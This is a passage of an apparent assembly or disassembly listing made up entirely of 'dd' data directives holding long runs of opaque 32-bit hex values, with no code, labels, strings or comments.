		dd 0EC0282B4h, 48FEE999h, 110F1CC4h, 64490158h,	85912C5Ah
		dd 0D4112F4Dh, 0A38104E2h, 0D0D34107h, 0BA5202h, 62EF1F97h
		dd 9AC3EA81h, 17133E3Fh, 0DFA5A537h, 7BB14430h,	0C26F4E5Ah
		dd 7A775E8Ah, 97EF9814h, 0A3CB2F22h, 2DD80100h,	0EE291398h
		dd 5E11007Dh, 8175D060h, 1349E53Fh, 5EFA3ACEh, 4D7F4618h
		dd 2EB72AA0h, 0C5B40C57h, 970E70D8h, 0D4799475h, 0C18896A6h
		dd 0F8B55897h, 87EAFD21h, 4A72FBABh, 0BD5953A9h, 0A7B108A6h
		dd 2BE77578h, 900701EBh, 2F207669h, 50335BCh, 2251CF81h
		dd 42B105EDh, 2055C845h, 0DFB869C9h, 95780542h,	2DEE2923h
		dd 0E32099F8h, 718A8056h, 0BD2C7F4Bh, 7CBDCFF0h, 0AB2D1AC5h
		dd 8FA2085Dh, 5B41E401h, 0F37E4D71h, 430C603Fh,	127C2E39h
		dd 0C8400AE9h, 19F25F70h, 2935B950h, 53C97F02h,	0F75DEA31h
		dd 519F3772h, 0E17762DBh, 44CF3E5Eh, 0C9EBFBB0h, 543BE1E9h
		dd 0EA39D5CFh, 0D2EAC1D8h, 560740A1h, 41976850h, 58219207h
		dd 0F5D3548h, 9465173Fh, 0E2FA0BDAh, 2D7616DDh,	16DCFEF2h
		dd 69D4755Ah, 5AC14962h, 70CD0CDAh, 310C7D4Eh, 44DA4710h
		dd 2FB4D1Ch, 0E76E91Dh,	940D53D7h, 0DF109DFDh, 1F6F7575h
		dd 0BD356055h, 0BD09AC47h, 5AECC0C0h, 75F0B8A6h, 0F27FF560h
		dd 58DF1ADBh, 0DC20B564h, 51BF82B0h, 1BC9AF5Ch,	0D8E9D829h
		dd 0CEE9E354h, 0B4302A0Eh, 60E6C037h, 0F807FC0Ch, 8243EF6h
		dd 30F4B676h, 35ECEF2Fh, 7F620D2Ch, 0BA4CA610h,	4E933339h
		dd 39050C22h, 0DF4F89E7h, 346815AEh, 0BF4A841Fh, 14DD58ADh
		dd 49F42F16h, 52049C5Bh, 0EDAE6F3Dh, 41AF48F3h,	0A6FC2A0Bh
		dd 0A3FBBCD2h, 310B849Bh, 0F8FD89FFh, 0F9895E2Bh, 0D565DE77h
		dd 15050ECh, 0FEF69C91h, 4C64ED9Ch, 7A4DB1EBh, 7A9C4C5h
		dd 6499EEF4h, 0C687A363h, 0C64BB405h, 80E26CC8h, 88F9C40Ch
		dd 0FC5895E5h, 449D5BB2h, 0D2D310DDh, 0D541EAAAh, 0A687FCF2h
		dd 584B52E0h, 793DC344h, 0A9B35302h, 3F9611D7h,	5EE9F3C0h
		dd 8FDC127Dh, 0E1F70255h, 7B1A4168h, 0BFD08853h, 38D8B901h
		dd 0EF344263h, 2DF10681h, 0C22C772h, 122B1505h,	47FA0946h
		dd 34349CDFh, 31D10128h, 5360888Dh, 4A6A26BAh, 3709086Bh
		dd 511CE027h, 5C1670B1h, 201882CFh, 1C1C4F9h, 0EA414497h
		dd 0F390D688h, 25CB9F75h, 7990B0C2h, 4DA09D60h,	7E71506Ah
		dd 7E525339h, 48CBA22Fh, 81E7E8A6h, 5663FCBAh, 0D2B51950h
		dd 0D3D8A416h, 0E91905ABh, 0B797EA48h, 1A5074EBh, 0FE5F8CC5h
		dd 8EB8F0E7h, 1EF7281Ch, 3768D88Eh, 0D2621021h,	0DC87B501h
		dd 48B2F680h, 2A495A5Ah, 254D5482h, 0F57AADFEh,	519DFE94h
		dd 8D04EB2Bh, 6EBA3052h, 530D000Fh, 5AF1E281h, 7298457Dh
		dd 5D0A059Fh, 918DD8AEh, 0B596218h, 7086854h, 0E94E3773h
		dd 0DC7E294Bh, 268ED988h, 0B3D8A768h, 0F5C3BFCBh, 8808942h
		dd 59822BE3h, 10BD3148h, 0A85FC0F5h, 117D480Eh,	8786F602h
		dd 0EB0B492Ah, 0D627782Fh, 15A3012Ch, 3C433EA5h, 0B5FEB0D7h
		dd 0E9D20BD6h, 0CD4E9118h, 5EAA109Dh, 0D95981BEh, 5C04C60Dh
		dd 301209A9h, 0E330BAA8h, 0CBB6853h, 5B16072Ch,	6F5FA7FEh
		dd 7626ACCh, 21730108h,	0F03AF5D3h, 5EC522Eh, 3050F8A9h
		dd 353D5CA2h, 23B94FE3h, 0ABCA6E13h, 458EB198h,	0C95C2E58h
		dd 0E9607927h, 0C34E4014h, 1787CBBFh, 0D9AD49E1h, 691ADA04h
		dd 0B193BE0Fh, 0E91113DFh, 8D20BBBFh, 1FED21A7h, 12685677h
		dd 0DE236010h, 7C030317h, 5D12CA81h, 57C1DCAEh,	0F7CDD105h
		dd 0ABB5C042h, 8621F5B1h, 0CE7890F1h, 0DB73015Dh, 5E3896Eh
		dd 0A3BB930Ch, 7A7BA170h, 0FD849FA8h, 165318C1h, 30C6971Ch
		dd 339664F2h, 3E15912h,	0D63DF36Ah, 255F5B08h, 0C39024FCh
		dd 35E71413h, 589BA92h,	5E85E62Fh, 0B6E530ACh, 0C48850D9h
		dd 66EF0A9Ch, 0B716CF52h, 85849322h, 6BFBF15Fh,	3B75CF48h
		dd 976A1B9Eh, 2D52808h,	0BA50BBBDh, 60EE41E1h, 5F5C6C9Ah
		dd 0F4957BF4h, 3ECA615h, 2FACA6A4h, 0FEE57CD8h,	34DD7AF9h
		dd 141F282Bh, 8B2AEE6Dh, 5F714530h, 18C3A305h, 0EF639407h
		dd 8C5C002Bh, 68FD5E2Fh, 0F3C461B7h, 9EB71CABh,	0E5B3DD4Ch
		dd 0CB1F27BEh, 2476A5Ch, 0E380EBD1h, 48FD6DF8h,	1C054E2Eh
		dd 0ECF7B3D2h, 28A85E8Ah
		dd 0D4ADEDF5h, 4D4B10ADh, 2C6432Eh, 69DF1822h, 0EB7AC875h
		dd 27991748h, 8D67089Fh, 0D1F18004h, 0AFA580EFh, 79BDFEFBh
		dd 9D0C2850h, 0F7FA98FCh, 95B66818h, 0E07E0A83h, 9C7C47Fh
		dd 62208CF0h, 94A5602Dh, 4C01F92Dh, 0E056BF74h,	0E164DF49h
		dd 46AA5C5Bh, 0A0BBFEF1h, 5EF41B7h, 1F03B92Fh, 0D2868F0h
		dd 864B0BF0h, 3DA0E641h, 0A42A2E41h, 2D04D4F6h,	0D6874365h
		dd 0F808B286h, 0A50696EEh, 5280C56h, 0DD9CC425h, 7364B390h
		dd 1033D535h, 1A052DF1h, 7DC1E809h, 0AA1685E7h,	0B7F6CF20h
		dd 30963D4Eh, 16F3C798h, 0B4C7CE28h, 0D1897B53h, 346665A3h
		dd 17E0FE82h, 2FD77721h, 61A2E3EAh, 0FEA9FD40h,	3D7C1980h
		dd 315A6E33h, 0F19B50BAh, 387B4227h, 0B120113h,	0D77C770Bh
		dd 8381A8B2h, 22430351h, 4E3F7152h, 0CB79F660h,	72A67726h
		dd 228F043Fh, 80AFC589h, 5EBA5249h, 401D5516h, 44BC04BAh
		dd 65B40705h, 0FBD6DD75h, 63872576h, 0D892DDF9h, 996F80F1h
		dd 79B031F5h, 8DBC4AD5h, 5E5A28F2h, 4BAEB22h, 0E116EDC5h
		dd 8300E193h, 55D0B59Ah, 7CE0FF94h, 262AD606h, 2FFD529h
		dd 26423591h, 0D0EB6760h, 7C04932Fh, 0CE5D8823h, 70BDD028h
		dd 3DA0B6CFh, 0B36608Bh, 8A01DFCh, 9F0589Fh, 1191647Eh
		dd 1139300h, 0CC3489Eh,	0FF663128h, 44A6CFC0h, 9E6C608Ch
		dd 0C977B13h, 205AEFA1h, 54184F31h, 8F3642C8h, 9750274Dh
		dd 2780E442h, 147D9B98h, 557C629Fh, 228936FBh, 9B38FFD5h
		dd 309614F7h, 0BFF65344h, 887B3916h, 0E501D14Fh, 162DCD81h
		dd 0F121029Ch, 937D0FE2h, 37CF09BCh, 0F24130D7h, 613AAAEEh
		dd 58004268h, 35A4BE56h, 0D630575Bh, 0B5075F10h, 7541DA70h
		dd 9A27B43Ah, 1075136Ch, 0D71705FBh, 52D5842h, 0A01FE906h
		dd 0EF48D11Bh, 0F93179D0h, 5DEE616Ah, 12179740h, 0F61D50F8h
		dd 8039131Ch, 0F711B02Ah, 1D7D958h, 0F30C5ED6h,	0C37C78E9h
		dd 1C3EAD5Eh, 1E52488Bh, 1C0D408h, 0FE77B151h, 5C04BDC9h
		dd 0C64A7FE7h, 65AFF612h, 1291E4DAh, 0F17A8041h, 6295602Fh
		dd 60CDA65Fh, 6D3542h, 0D22B06B9h, 0C9813A01h, 19550B34h
		dd 4B0F107Bh, 354D02Fh,	13FA7C35h, 3E9EFEBAh, 0CE8C102h
		dd 585DC831h, 9108D3CCh, 2BEFAF4h, 9151555Fh, 0ACA01F97h
		dd 0EE7E9D59h, 0B2FDBF50h, 42E748A2h, 0E5FA805h, 0E3B6D068h
		dd 2573374Bh, 209E6097h, 6E035821h, 0E891E913h,	0BACE4EFBh
		dd 0EECA053Ah, 2DE94638h, 0D16AC154h, 0B4F6B3F2h, 0B6524163h
		dd 94C6FBAFh, 0C0D8C0EAh, 6D405EEh, 0CC47124Ah,	0A7316321h
		dd 20EC6BC1h, 2D4C9795h, 1866EE27h, 807829E5h, 0CC27E954h
		dd 0CC5A5C84h, 4716FD4Eh, 84BF7DF7h, 5D080BBFh,	8CB390DDh
		dd 0D7C2E15Ah, 21486ECEh, 0CDE018DAh, 1B80C29Dh, 0C3B2263h
		dd 49356F80h, 0DD09F2F8h, 0DD2F9C25h, 0F5693E8Eh, 216B47A2h
		dd 92F6E562h, 0E9085039h, 51B88327h, 0A0EE2624h, 0B7D90D6h
		dd 0B1E91098h, 705E4C41h, 904045ACh, 5CF1EB8h, 0B89ACF8h
		dd 0BDC6028Ah, 0C10E0A5Fh, 75CC7F3Eh, 2A6864BDh, 0FA710DF2h
		dd 133796FBh, 39CE929h,	0CC7540EAh, 1849F9BBh, 0F02DAC6Eh
		dd 4D43E95Ah, 0FB97644Bh, 9A69D72Ch, 0A3681701h, 0B12DBA57h
		dd 0A52EA221h, 570CA7A8h, 60405762h, 0BC6F9CE9h, 61B665BEh
		dd 0BFB692EAh, 0D3F92143h, 0E50F7416h, 1F0858h,	0FBDE7818h
		dd 391B0A05h, 0E8147129h, 5D3D072Dh, 0C568D805h, 14472048h
		dd 355C8F1Fh, 0A125200Ch, 7C96B784h, 9F56FB31h,	1F1F5A9h
		dd 67BE2AC7h, 216A906Ch, 292C7638h, 8201FCFh, 56F70CC1h
		dd 8D306ED6h, 8BB98019h, 0B780D13h, 3481CD01h, 1C216BCDh
		dd 12E94948h, 9CFF4066h, 3D4E06F1h, 112B88DDh, 0FAC2E219h
		dd 0A5537E9h, 6BCFE2B1h, 2D7AF04Fh, 0BF5888B5h,	9613747Bh
		dd 0B282FEC3h, 89E4C85Bh, 0A9B2B7CAh, 2DF7CCFDh, 49F89FE9h
		dd 35FFC797h, 0D5A3BB3Dh, 0A8ABE985h, 0A4294A84h, 702C1BF9h
		dd 7F83AD07h, 0E3870920h, 0D3CB2BEAh, 147DF9EAh, 0AE1A32DAh
		dd 507DC317h, 5D64F6C8h, 0F1034DF0h, 34C11A11h,	658FE1D9h
		dd 12652090h, 3ECC2402h, 6041D9F7h, 5BBE7E29h, 4A0CB30Bh
		dd 48AD2BBAh, 0EC5260BFh, 0B7E698CEh, 0A82660D8h, 9BAC04D0h
		dd 4E580501h, 0A6D40317h, 87C2E50h, 72D1426h, 8AF6F24Fh
		dd 29131ABEh, 5EA4CCBFh, 0B2F2564Fh, 0EBC20AC4h, 688289E2h
		dd 0D155016Bh, 2BAB4FC1h, 3C9CC177h, 67E55DF6h,	0BF6B2049h
		dd 79713984h, 7A9623h, 0AE01D0E3h, 0C29D4321h, 0F344607Fh
		dd 97FE8C7h, 44AA6846h,	0D99AD01Bh, 74252DD4h, 3E8702F5h
		dd 0A14066FBh, 55371340h, 90000C46h, 4DE9BD6Bh,	68004E95h
		dd 8273DA1h, 0F7E34159h, 78E5D6CCh, 5943052Dh, 55C38185h
		dd 0EC0BDC7Bh, 6DBF14EAh, 0AB74A7B8h, 29095910h, 0E3DF2DC8h
		dd 53E9D4DBh, 0EC2088Bh, 0C74315Dh, 0AFAC6203h,	909D65A2h
		dd 88AE4B85h, 0B54849FAh, 79250013h, 4867503Eh,	0DABA0452h
		dd 0FA4F3244h, 57855080h, 0E76A4C34h, 0F6491273h, 6505BA4Dh
		dd 50B39263h, 4C66F210h, 0C3F60553h, 0CBB8F412h, 5439D806h
		dd 520B1850h, 7FE3648Dh, 0EB310101h, 0E9DACC5Dh, 9DD8DE24h
		dd 8ADBF781h, 6B3824C0h, 0F1C35260h, 8C09CE79h,	0C899E6E9h
		dd 2672B8D7h, 2D8717A8h, 0D3078602h, 6F1DF15Fh,	0BD6655E0h
		dd 0E1972FA7h, 0FB40459Dh, 271B37F5h, 0ED8509E9h, 0C3D2C252h
		dd 5F2534D6h, 0C3275E1Eh, 1AC5AD9h, 2EDC0B2h, 0CCE3CD80h
		dd 4048AC5h, 3690E9A2h,	961A44AAh, 5B73A2BFh, 60671E88h
		dd 1BE5FDEFh, 334F8565h, 0F6EDA9F4h, 7224625Fh,	8001D784h
		dd 9FD745CEh, 3331E653h, 11160306h, 2879F6F0h, 0D2B0F05Bh
		dd 26862DE9h, 0A4EF4A6Ch, 5C2DF903h, 89E98B6Ah,	7D271B5Ch
		dd 34409416h, 97397047h, 9F0294FDh, 166147A0h, 91BD4AFEh
		dd 0C49442Eh, 0C96CE27Eh, 50455750h, 922B2D8Ch,	2C02778Fh
		dd 8017B3F0h, 2CB85EF1h, 265B604Dh, 0F266B9C2h,	61012539h
		dd 0D472627Ch, 14D72FC1h, 2152978Eh, 53FC4120h,	0B065F29h
		dd 0BD57772Eh, 0D88B5697h, 0B826EB3h, 96AB0AC5h, 0E04C2010h
		dd 5F30544Fh, 14D2EA4Ah, 451CC9DFh, 0D7C43FD8h,	0D43AE42Eh
		dd 0BF6600EBh, 0A03E7481h, 0F731644Bh, 1864A472h, 3C8B316Ch
		dd 0E476E86Eh, 4010E8E2h, 0ACA04B7Ch, 0EFEAA051h, 7B750D5Bh
		dd 2004D6F7h, 7F17CBBBh, 1E121E99h, 0E445801h, 2820FE01h
		dd 65D1214h, 0C0901F6Ch, 0E92D4733h, 0C58ACEF5h, 0FB561674h
		dd 4ECB9338h, 8965ADB7h, 9AE57550h, 25F27127h, 0F2D3597Ch
		dd 13DE5DEBh, 0E924FD20h, 889E9FE0h, 5B17C724h,	0CB3E5E0h
		dd 4EBC0CEh, 15FA0306h,	0BF0204BEh, 61E43B42h, 296EFE55h
		dd 88D16E3Fh, 133ECAE9h, 4275C8FCh, 29A0381Fh, 0B346C98Fh
		dd 89B6B6EEh, 72465F54h, 0CB5050BFh, 0A10B6850h, 50CAB49Bh
		dd 0FC386809h, 96E6F178h, 67549786h, 5B82A8C5h,	0EC787D48h
		dd 0E94741BBh, 5576DA6h, 854CEBF3h, 0E3D1FA0Ch,	1D82DCA3h
		dd 772C51EDh, 0AB0A6260h, 0D45F16CAh, 68505785h, 0F7092C16h
		dd 0EF097D71h, 2624759h, 0F3B900B2h, 125C5407h,	4904648Fh
		dd 0C9A18BAh, 5798E952h, 0EF0346DDh, 0A404F828h, 1AEFCC1h
		dd 0D29EF272h, 9C19D165h, 6F158836h, 28BE027Ah,	0E082B71Ch
		dd 1F801924h, 7D46902h,	1A4F35B0h, 0B2F4B5B8h, 0F3728492h
		dd 0F70CC013h, 31BA7049h
		dd 0C3198C01h, 73CCE925h, 0FC270762h, 1ABF7571h, 7640DF20h
		dd 6A540CBh, 34911772h,	2778BE28h, 24C853Bh, 921061CEh
		dd 68017D14h, 3E0B8769h, 0B850E100h, 0B617D77Fh, 7B400563h
		dd 2959C11Fh, 0ED292F57h, 0F0045FE9h, 0F440702Ah, 2E681D66h
		dd 55522835h, 6082BF47h, 401A2880h, 48F09A80h, 29765B4Eh
		dd 8820C90h, 2224057h, 79CB306Ch, 0B244E42Ah, 0D74D6A25h
		dd 0D7660C24h, 57B064F1h, 0E9E090F8h, 0CCBD8ABBh, 0ADB22039h
		dd 0DE0C32BEh, 0B7C6DF9Ah, 0FA4C1DCAh, 6B0754A1h, 36F98A39h
		dd 0BF12137Eh, 0BC2AB07Dh, 4F7C433h, 0EAB3B005h, 0EB8083C0h
		dd 50529F67h, 6AEF25EBh, 6C5EACDAh, 0C25B2D29h,	0C7401E8Eh
		dd 930EA052h, 2506246Bh, 0C0FD2512h, 0B7B1E942h, 0AD974708h
		dd 25B9D5Dh, 0DED2E955h, 70F8C8AFh, 0E8807F48h,	0DB27C012h
		dd 962D1545h, 704B3B03h, 0C9A01B90h, 8740EB1Ah,	290FF88Ch
		dd 0B5068Bh, 0D131E195h, 0DCE95F05h, 0ED32045h,	67D88E1Eh
		dd 0CBF0F26h, 19D4B9F2h, 9C02BB10h, 0FF032EE2h,	0D674C037h
		dd 5AC509B5h, 98E3C080h, 298B36E0h, 0CD30897Dh,	97C25506h
		dd 60E402E9h, 1B6D9D03h, 87190C80h, 0B700397Ch,	0D4805214h
		dd 25078FD7h, 7DC0F08Bh, 41B89D89h, 88F832D7h, 0BB850F0Bh
		dd 2D69EACh, 0CDFA88Bh,	917801F0h, 0BE5AD7A2h, 0FB852049h
		dd 69E66700h, 6CE9A692h, 8BB52FB1h, 0B97E36F0h,	0EDA39000h
		dd 0CD83BA61h, 0F84F7A81h, 44C5315h, 4D4FD180h,	0AE300E41h
		dd 8C1182Dh, 0A3140FD0h, 0BB81840Ch, 0CCFDE715h, 0FBF042F9h
		dd 780C4AF8h, 29D37FCEh, 0D82284B0h, 118F4213h,	0AC21D523h
		dd 90117208h, 0D78B8493h, 0F2875848h, 95B03B6Ah, 72B9904Fh
		dd 0A1880036h, 0A629F2Eh, 580FF5D8h, 0E0BDEEF0h, 0CBA2E512h
		dd 39F70027h, 0DDAB41D1h, 0B2006374h, 0D5526D72h, 0FF2B6E1h
		dd 765366E5h, 67AFD660h, 0D200E69Ch, 0A119F3DDh, 57AB25h
		dd 1B397842h, 0F909D3B7h, 58763700h, 499DA6FAh,	8DB30066h
		dd 0E2011ADCh, 5477EBF1h, 0BE42EA00h, 8F81987Ch, 55223BD9h
		dd 0C19DF400h, 0BF3C3165h, 9E43B806h, 0F7AB418h, 0BC5C363h
		dd 0A300D98Bh, 495ECEB7h, 0D04B9000h, 4AFDA13Ah, 51400EAh
		dd 0A4FA17B8h, 100C38Dh, 5C3A26F6h, 167B44h, 0AD82EE52h
		dd 0FB3EC04h, 4B455503h, 0B04A94D3h, 60895Fh, 584E21D7h
		dd 36474B6h, 856D2609h,	97040AA3h, 4067EA0Eh, 736CFC34h
		dd 0B404002Fh, 0BAA6051Bh, 44EE7B21h, 0D5493B16h, 0CF00191Dh
		dd 0AA4F2596h, 630100F4h, 867CD306h, 57F80E95h,	81691B00h
		dd 0A2D8CB33h, 0A67A00F8h, 990A9B50h, 0ACE452C3h, 0E2592700h
		dd 0CAB134Dh, 807600BCh, 0D2C6DBCAh, 903AAAEFh,	0BF060024h
		dd 0E6485912h, 0C5F80037h, 0FF808674h, 9A00277Bh, 0B599BA09h
		dd 0A02671h, 383E1C42h,	5545783Dh, 1ED2D100h, 5730E086h
		dd 0EAC0000Ch, 3589DB11h, 79000239h, 9EC6DA7Bh,	1E3CE6h
		dd 0B513E4B7h, 4EF77C45h, 0DC018A04h, 90802F6Ah, 3F33EAF8h
		dd 9A0091F4h, 0E219A48Dh, 2700CCA5h, 4DDB3FF1h,	7D8CD553h
		dd 1A3600A9h, 7123BC31h, 5005698h, 784365EDh, 0B362CAh
		dd 7F51DEF3h, 5BF2C01Dh, 56E24700h, 2D2F9AB8h, 0BEE52h
		dd 0F6043E80h, 1E340759h, 7DF0F83Ch, 697CA601h,	0AA7064EBh
		dd 0A08FE824h, 398620h,	4B9D1D17h, 85CA47BFh, 0CDC9F100h
		dd 9EDD833Eh, 7363005Ah, 0B9FBC622h, 0FF01C165h, 18B795ABh
		dd 0CCCC1523h, 0CA6C0F5h, 9F08D86Fh, 7BBC7E05h,	0FC0D504h
		dd 0E284D29Dh, 0E98AA3EFh, 95E82EE1h, 0F8A90332h, 0A2B5B25Eh
		dd 3EFD9822h, 6D832DA7h, 0DBD0256Ch, 3FC237B0h,	4B4CDDF6h
		dd 29F909C8h, 0D1283130h, 99D09D8h, 0D531EAD9h,	5ECFC000h
		dd 5900BD62h, 0B598DE1Ah, 0FF3AFEF7h, 0D9F40ACDh, 41CA2E44h
		dd 0DC2814C9h, 9F0E9400h, 0E72A3D90h, 80C0A93Ah, 5BE8C14Fh
		dd 1F76DBADh, 4071BF60h, 7E12BA75h, 0F005395h, 61CB7DD5h
		dd 96D830h, 5EC6A144h, 7C743A97h, 42BF0E80h, 0C1530063h
		dd 85622EA9h, 68F51FA8h, 0F99D33h, 0D4660CBDh, 0CD00F4ADh
		dd 2097CA2Eh, 0A85FD89h, 0FBD163D8h, 22A700D0h,	9F67846Fh
		dd 168C0A07h, 68B0784Ch, 1FDA4B8Dh, 8C3327FFh, 0B230C311h
		dd 315C0600h, 87C77790h, 91D83D76h, 0E01D4C00h,	220F1AA0h
		dd 0CD236B01h, 873DEFF5h, 1FA9D8F7h, 0E91B0718h, 80CCBD1Ch
		dd 0E3C2D4CAh, 3698A7FAh, 0CD904700h, 3197B979h, 1F2E7B19h
		dd 444ADBh, 4C5C142Ah, 0A93A9DE9h, 9CE0007h, 2C558DA6h
		dd 0D3B80041h, 0C389719Fh, 0AB0CBB84h, 304DD1AAh, 768003B2h
		dd 90439FD7h, 8218DBA8h, 8FE09200h, 868C6F0Dh, 1C90A6h
		dd 59BBB003h, 4194E9A9h, 95079BB0h, 47F486F1h, 0E21C3270h
		dd 3D5A7E5Fh, 1580267Fh, 0ED9E0580h, 0FA00FF46h, 2B0734CDh
		dd 5C9A7B8Ch, 300635Bh,	0A28DFD29h, 424C6ABFh, 102B06C8h
		dd 311231Eh, 288796A4h,	4898CAB3h, 0DC004F90h, 35FB3D26h
		dd 310D998h, 0EB5B1F8Dh, 82C811B8h, 11EDF23h, 0D78002ADh
		dd 7F4E436Fh, 897BC1h, 5D29B3D0h, 40CDA582h, 0F30EC0B0h
		dd 408BEE2Dh, 47A2C136h, 3B391F1Dh, 0D493C03Eh,	0EA89409Dh
		dd 76261F00h, 18B51B2Ah, 28AC4C19h, 58C07B00h, 0E26B5F47h
		dd 282C9D00h, 8E5C0855h, 6A80003Fh, 0CCF9F040h,	504C7649h
		dd 0E6FB0094h, 0B39D0D33h, 0DF620C9Ch, 0F9D94C09h, 0C1DB471Dh
		dd 0B287D0C0h, 4ACAFEh,	0A23BEE76h, 2E616424h, 82881639h
		dd 0DECE854Bh, 369060C6h, 0FAF010F2h, 5AE8002Ah, 6601E4A0h
		dd 157D0E8Bh, 0BD601288h, 4B2F6096h, 45C2BC07h,	469339DCh
		dd 0B38FB8ADh, 26A90080h, 0D2F5FC95h, 0F1025D88h, 0C00F0322h
		dd 4842007Ah, 0A781E337h, 0DBB5DCh, 97A69907h, 0C939C822h
		dd 832B8C3Ch, 0CBE96D69h, 0AE48A07Eh, 7F8B043Dh, 0C06F1303h
		dd 8C966898h, 0E9E8251Ch, 366DB49h, 0C93C3388h,	48709BB2h
		dd 568300B9h, 1034496Dh, 0F73916A0h, 29099E5Ch,	0EA88B0C0h
		dd 48525Fh, 221BDC70h, 0B593C926h, 0B41348h, 0E965EB14h
		dd 44EEEB3h, 58AFECA0h,	0FF609018h, 5B05A28Fh, 0A9BE9A42h
		dd 88D518C9h, 6085E499h, 0D899ECA0h, 0D476860Eh, 0B14EC00Ch
		dd 4C7EEDh, 507C3BE3h, 5C18135Ah, 251CD00Fh, 0E443A40Ch
		dd 0A656F8C0h, 11336180h, 0C42B6A96h, 0EE013267h, 7CD083BEh
		dd 91C0905Dh, 2C37039Eh, 5103D3F5h, 534CB2B0h, 0A795AC12h
		dd 0EEC0C41Fh, 0C4DA745Ah, 0E37C03EDh, 0B04F43Eh, 118A16F8h
		dd 5400A4EAh, 0B265B8CBh, 0DF395Ch, 0BABEB586h,	165311E4h
		dd 0F60CC300h, 67157EC5h, 10B807h, 5E28A4E3h, 7B6801AFh
		dd 17B63400h, 43564A3Ch, 0F39E00F0h, 9344E42Bh,	0AC17E198h
		dd 4071EFEh, 6990A184h,	250DFC3h, 3F33E8FDh, 0ED40F8A7h
		dd 21009ED5h, 8B6D4BD6h, 48C10E45h, 202582Ah, 2B424489h
		dd 9BF28000h, 1FB92C8Ch, 0CB2180E4h, 594FD53Dh,	5500D77Ah
		dd 81F4EDBBh, 5C722EB1h, 0E93C6E99h, 0C57D4E00h, 0A550FB6Dh
		dd 0ABAACA0Bh, 58288AE6h, 6FA31A00h, 0CD998Dh, 5429858Ch
		dd 1EA937E5h, 7A366704h, 0CC805F8Fh, 1F4CD305h,	89019B30h
		dd 50206BADh, 2A2612D5h, 0EA97CD00h, 6FF5CE3Dh,	83320024h
		dd 0E4DF88D3h, 0B0283B5Ah, 4B00CE28h, 55BB0A16h, 10B891h
		dd 5F620DC4h, 0FCC9E8EEh, 6018A50Ch, 0FA094869h, 4378007Dh
		dd 0D1E13C6Ch, 0C307F839h
		dd 9A45CCE3h, 1F83A0AFh, 62A304h, 7C94BC14h, 0CFB1472Bh
		dd 3B740B07h, 0A6B01223h, 0F669D2Fh, 0D40A5536h, 0D325801Eh
		dd 2D5EEB01h, 300AF975h, 0A3B8577Eh, 0CF36FB00h, 0CAE177h
		dd 0AE115EBEh, 300CF9CEh, 0B7D83303h, 0C0947862h, 60FC9FF4h
		dd 0A65DB063h, 0C4095317h, 805A103Ah, 924CD86Fh, 9BDE0F57h
		dd 0DBE02E2Ah, 7319A26h, 0D11CF402h, 0C82F558Eh, 1B5D8E8h
		dd 54CFC06Ah, 0BCB11D3Fh, 0B0EEBF58h, 47F138DCh, 0E1A3819h
		dd 0B7AA4A80h, 31E6F20Ah, 0C97FE00h, 6E7ADF93h,	0E3B804B5h
		dd 8337A2D5h, 41003EB5h, 675B6395h, 8E9457h, 0A44D12D6h
		dd 0F2A3E413h, 0C9000DF6h, 0BC93C6B2h, 0EB3C878Ch, 35F42E0h
		dd 0FABEEBDEh, 0B0AF5476h, 506F8C72h, 5365E0BDh, 6032799Fh
		dd 0A061892h, 4EEE40E8h, 0F4398B01h, 9023B865h,	1BDB034h
		dd 41C20FC3h, 0C84DC432h, 0F61D21C5h, 8743437Eh, 98DEE78Fh
		dd 0EDD562Fh, 541094F3h, 0FF30E180h, 0B8050E9Ah, 64A57B2Bh
		dd 0DDA221C0h, 768E00BAh, 3DF4AEC4h, 0DF000F2Dh, 2BECE683h
		dd 4A3B7A57h, 0C0001E25h, 58C50D5Dh, 0C8FCA764h, 98D7A800h
		dd 3F054A67h, 0A2E70107h, 655A25C4h, 7527C884h,	8DE48300h
		dd 9832FE51h, 509C54h, 0DBBA5EB4h, 0FB0076A1h, 39DA1661h
		dd 0E75CFAh, 8B3A4214h,	3F0A8FF5h, 8068D23Bh, 2EF2E349h
		dd 19143E9h, 0BC228E4Fh, 708128EBh, 7900CBE7h, 0C66AAF8Fh
		dd 201C8A9h, 0A2104AA8h, 4740600Eh, 9503DBD2h, 5AB43EEh
		dd 4C880963h, 24434BE6h, 0FCB3AEC1h, 5374ACDDh,	6014D474h
		dd 1064E6h, 206378AAh, 269BA030h, 3DE4582Eh, 8F204BB7h
		dd 0C19700BFh, 0D164550Eh, 30BB7D03h, 0E39E4525h, 7FE4C0DBh
		dd 0EE78C0F3h, 63C14985h, 91FE2098h, 32D0D200h,	4F56EBF9h
		dd 8018DD8Bh, 0CF2DE6E8h, 0D80BA18Eh, 8F8A9CDh,	845B5030h
		dd 9900B832h, 0AB43E826h, 46AD98BCh, 2B017h, 14298071h
		dd 78032AA3h, 7C009AF8h, 0C2E3FAD2h, 647855Bh, 0CCD60F7h
		dd 0EC0141FEh, 4C277AE4h, 5DE0A316h, 60496E3h, 89704E67h
		dd 0E74F8300h, 0E25D45FBh, 0CF21CEA1h, 5E0E8285h, 56390080h
		dd 2C2268B1h, 0A15F1CA0h, 11484E30h, 71B38D95h,	814760A8h
		dd 0CE3B7E6h, 0CC115067h, 0C326F2B0h, 8D4C806Fh, 65FEF976h
		dd 0A0F884h, 0E49DBEC2h, 0A5E9D742h, 1397D503h,	0A1784F82h
		dd 0D087A323h, 76210174h, 600011F3h, 51E099E4h,	0F5E6C1h
		dd 0AEB67249h, 8F324D4Eh, 621F2D00h, 0BF99AF2Ah, 732F7C56h
		dd 4046F017h, 54606442h, 7E6CED89h, 6384003Eh, 0D058C4FDh
		dd 0E80004ADh, 0B29A957Fh, 19A6B9D6h, 5836FADAh, 2C9EE4DEh
		dd 0CE936001h, 4F996626h, 31DF3420h, 0B1604DE2h, 0C2C1CF1Ch
		dd 0D9108068h, 0D88F9E63h, 4270275h, 48890E4Ch,	891EF2E3h
		dd 0D181C737h, 71AB3A50h, 0F68CF4h, 4269DA5h, 58AA98C6h
		dd 31626730h, 0ABE2F1h,	0C2645C0h, 69FB0713h, 0B702ECF4h
		dd 4E5E43A3h, 82D8A02Eh, 26E34131h, 0ABE84E0h, 28A45F03h
		dd 2C66009Ch, 0ECAC981Ah, 0D8A4C726h, 0BF2E9506h, 5C05A82h
		dd 8BCE6EDh, 25D4C0DBh,	0B866D4C3h, 20F89128h, 9600533Ah
		dd 9031FB2Ch, 3A522C5h,	0D74BB909h, 0DDE8A825h,	1C1EB30Ah
		dd 0BE1F34AFh, 12C53687h, 0BFA681EEh, 2BE0C1CFh, 0B22503A0h
		dd 0AC3BCB44h, 0ADD530A0h, 0CA94900h, 93C43992h, 0A6BD009Ah
